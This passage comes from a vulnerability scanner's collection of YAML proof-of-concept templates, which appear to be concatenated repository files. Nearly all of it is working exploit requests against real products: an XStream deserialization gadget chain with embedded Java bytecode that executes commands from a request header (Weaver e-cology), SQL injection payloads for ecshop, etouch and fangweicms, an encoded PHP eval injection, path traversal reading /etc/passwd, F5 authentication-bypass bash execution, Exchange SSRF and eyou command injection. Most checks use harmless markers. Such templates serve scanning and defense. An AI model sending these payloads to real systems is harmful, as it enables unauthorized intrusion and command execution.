<byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 expression: | response.status == 500 && response.headers["Set-Cookie"].contains("ecology") && response.body.bcontains(b"for 16-bit app support") linux: - method: POST path: /services%20/WorkflowServiceXml headers: Content-Type: text/xml cmd: bin/bash -c 'expr {{rand1}} + {{rand2}}' follow_redirects: false body: | <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 expression: | response.body.bcontains(bytes(string(rand1 + rand2))) detail: author: tangshoupu info: ecology-workflowservicexml-rce links: - https://www.anquanke.com/post/id/239865 ================================================ FILE: WebScan/pocs/ecshop-cnvd-2020-58823-sqli.yml ================================================ name: poc-yaml-ecshop-cnvd-2020-58823-sqli set: r1: randomInt(40000, 44800) rules: - method: POST path: /delete_cart_goods.php body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1)) expression: | response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) detail: author: 凉风(http://webkiller.cn/) links: - https://mp.weixin.qq.com/s/1t0uglZNoZERMQpXVVjIPw ================================================ FILE: WebScan/pocs/ecshop-collection-list-sqli.yml ================================================ name: poc-yaml-ecshop-collection-list-sqli set: r1: randomInt(10000, 99999) rules: - method: GET path: /user.php?act=collection_list headers: X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:55:"1' and updatexml(1,insert(md5({{r1}}),1,1,0x7e),1) and '";|45ea207d7a2b68c49582d2d22adf953a follow_redirects: false expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32))) detail: author: 曦shen links: - https://github.com/vulhub/vulhub/tree/master/ecshop/collection_list-sqli ================================================ FILE: WebScan/pocs/ecshop-login-sqli.yml ================================================ name: poc-yaml-ecshop-login-sqli set: r1: randomInt(10000, 99999) rules: - method: GET path: /user.php?act=login headers: Content-Type: application/x-www-form-urlencoded Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:71:"0,1 procedure analyse(updatexml(1,insert(md5({{r1}}),1,1,0x7e),1),1)-- -";s:2:"id";i:1;} follow_redirects: false expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32))) detail: author: chalan630 links: - https://phishingkittracker.blogspot.com/2019/08/userphp-ecshop-sql-injection-2017.html ================================================ FILE: WebScan/pocs/ecshop-rce.yml ================================================ name: poc-yaml-ecshop-rce set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) groups: 2.x: - method: POST path: /user.php headers: Referer: >- 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca Content-Type: application/x-www-form-urlencoded body: action=login&pp123=printf({{r1}}*{{r2}}); expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) 3.x: - method: POST path: /user.php headers: Referer: >- 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads Content-Type: application/x-www-form-urlencoded body: action=login&pp123=printf({{r1}}*{{r2}}); expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: 凉风(http://webkiller.cn/) links: - https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md ================================================ FILE: WebScan/pocs/eea-info-leak-cnvd-2021-10543.yml ================================================ name: poc-yaml-eea-info-leak-cnvd-2021-10543 rules: - method: GET path: "/authenticationserverservlet" expression: | response.status == 200 && "(.*?)".bmatches(response.body) && "(.*?)".bmatches(response.body) detail: author: Search?=Null description: "MessageSolution Enterprise Email Archiving (EEA) Info Leak." links: - https://exp1orer.github.io ================================================ FILE: WebScan/pocs/elasticsearch-cve-2014-3120.yml ================================================ name: poc-yaml-elasticsearch-cve-2014-3120 set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: POST path: /test/test1/123 headers: Content-Type: application/json body: | { "name": "test" } expression: | response.status == 201 || response.status == 200 - method: POST path: /_search headers: Content-Type: application/json body: |- { "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "{{r}}+{{r1}}" } } } follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r + r1))) detail: author: suancaiyu、violin elasticsearch: v1.1.1 links: - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120 ================================================ FILE: WebScan/pocs/elasticsearch-cve-2015-1427.yml ================================================ name: poc-yaml-elasticsearch-cve-2015-1427 set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: POST path: /test/test headers: Content-Type: application/json body: | { "name": "test" } expression: | response.status == 201 - method: POST path: /_search headers: Content-Type: application/json body: | { "size":1, "script_fields":{ "lupin":{ "lang":"groovy", "script":"{{r1}}*{{r2}}" } } } expression: | response.status == 200 && response.content_type.icontains("json") && response.body.bcontains(bytes(string(r1 * r2))) detail: author: pululin(https://github.com/pululin) links: - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427 ================================================ FILE: WebScan/pocs/elasticsearch-cve-2015-3337-lfi.yml ================================================ name: poc-yaml-elasticsearch-cve-2015-3337-lfi rules: - method: GET path: /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: X.Yang links: - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337 ================================================ FILE: WebScan/pocs/elasticsearch-cve-2015-5531.yml ================================================ name: poc-yaml-elasticsearch-cve-2015-5531 set: r1: randomLowercase(4) rules: - method: PUT path: /_snapshot/{{r1}} headers: Content-Type: application/x-www-form-urlencoded body: |- { "type": "fs", "settings":{ "location": "/usr/share/elasticsearch/repo/{{r1}}" } } follow_redirects: true expression: | response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}") - method: PUT path: /_snapshot/{{r1}}2 headers: Content-Type: application/x-www-form-urlencoded body: |- { "type": "fs", "settings":{ "location": "/usr/share/elasticsearch/repo/{{r1}}/snapshot-backdata" } } follow_redirects: true expression: | response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}") - method: GET path: >- /_snapshot/{{r1}}/backdata%2f..%2f..%2f..%2fconfig%2felasticsearch.yml follow_redirects: true expression: | response.status == 400 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"error\":\"ElasticsearchParseException[Failed to derive xcontent from") detail: author: ha9worm(https://github.com/ha9worm) links: - https://www.cnblogs.com/sallyzhang/p/12457031.html ================================================ FILE: WebScan/pocs/elasticsearch-unauth.yml ================================================ name: poc-yaml-elasticsearch-unauth rules: - method: GET path: / follow_redirects: false expression: | response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search") - method: GET path: /_cat follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"/_cat/master") detail: author: p0wd3r links: - https://yq.aliyun.com/articles/616757 ================================================ FILE: WebScan/pocs/etcd-unauth.yml ================================================ name: poc-yaml-etcd-unauth set: r1: randomLowercase(32) r2: randomLowercase(32) r3: randomLowercase(32) rules: - method: PUT path: /v2/keys/{{r1}}?dir=true follow_redirects: false expression: | response.status == 201 - method: PUT path: /v2/keys/{{r1}}/{{r2}}?prevExist=false headers: Content-Type: application/x-www-form-urlencoded body: value={{r3}} follow_redirects: false expression: | response.status == 201 - method: GET path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(r3)) detail: author: j4ckzh0u(https://github.com/j4ckzh0u) links: - https://www.freebuf.com/news/196993.html ================================================ FILE: WebScan/pocs/etcd-v3-unauth.yml ================================================ name: ETCD V3未授权 rules: - method: POST path: /v3/kv/range follow_redirects: false Content-Type: application/json;charset=utf-8 expression: | response.status == 200 && response.body.bcontains(b"cluster") && response.body.bcontains(b"head") body: | {"key": "bmFtZQ=="} detail: author: rj45(https://github.com/INT2ECALL) links: - https://networksec.blog.csdn.net/article/details/144912358?spm=1001.2014.3001.5502 ================================================ FILE: WebScan/pocs/etouch-v2-sqli.yml ================================================ name: poc-yaml-etouch-v2-sqli rules: - method: GET path: >- /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)' expression: | response.status == 200 && response.body.bcontains(b"c4ca4238a0b923820dcc509a6f75849b") detail: author: MaxSecurity(https://github.com/MaxSecurity) links: - https://github.com/mstxq17/CodeCheck/ - https://www.anquanke.com/post/id/168991 ================================================ FILE: WebScan/pocs/exchange-cve-2021-26855-ssrf.yml ================================================ name: poc-yaml-exchange-cve-2021-26855-ssrf rules: - method: GET path: /owa/auth/x.js headers: Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3; follow_redirects: false expression: | response.headers["X-CalculatedBETarget"].icontains("localhost") detail: author: sharecast Affected Version: "Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010" links: - https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse ================================================ FILE: WebScan/pocs/eyou-rce.yml ================================================ name: poc-yaml-eyou-email-system-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: /webadm/?q=moni_detail.do&action=gragh headers: Content-Type: application/x-www-form-urlencoded body: | type='|expr%20{{r1}}%20%2B%20{{r2}}||' expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: Print1n(http://print1n.top) description: 亿邮电子邮件系统 远程命令执行漏洞 links: - https://fengchenzxc.github.io/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%BA%BF%E9%82%AE/%E4%BA%BF%E9%82%AE%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E7%B3%BB%E7%BB%9F%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ ================================================ FILE: WebScan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml ================================================ name: poc-yaml-ezoffice-downloadhttp.jsp-filedownload rules: - method: GET path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp follow_redirects: false expression: | response.status == 200 && response.headers["filename"].contains("../public/edit/jsp/config.jsp") detail: author: PeiQi0 links: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20downloadhttp.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md tags: ezoffice,file,download ================================================ FILE: WebScan/pocs/f5-cve-2021-22986.yml ================================================ name: poc-yaml-f5-cve-2021-22986 set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: /mgmt/tm/util/bash headers: Content-Type: application/json Authorization: Basic YWRtaW46 X-F5-Auth-Token: " " body: >- {"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"} follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: Hex links: - https://support.f5.com/csp/article/K03009991 ================================================ FILE: WebScan/pocs/f5-cve-2022-1388.yml ================================================ name: poc-yaml-f5-cve-2022-1388 set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: /mgmt/tm/util/bash headers: Content-Type: application/json Connection: keep-alive, x-F5-Auth-Token X-F5-Auth-Token: a Authorization: Basic YWRtaW46 body: >- {"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"} follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: jindaxia links: - https://support.f5.com/csp/article/K23605346 ================================================ FILE: WebScan/pocs/f5-tmui-cve-2020-5902-rce.yml ================================================ name: poc-yaml-f5-tmui-cve-2020-5902-rce rules: - method: POST path: >- /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp headers: Content-Type: application/x-www-form-urlencoded body: fileName=%2Fetc%2Ff5-release follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"BIG-IP release") detail: author: Jing Ling links: - https://support.f5.com/csp/article/K52145254 - https://github.com/rapid7/metasploit-framework/pull/13807/files ================================================ FILE: WebScan/pocs/fangweicms-sqli.yml ================================================ name: poc-yaml-fangweicms-sqli set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23 expression: | response.body.bcontains(bytes(md5(string(rand)))) detail: author: Rexus Affected Version: "4.3" links: - http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ ================================================ FILE: 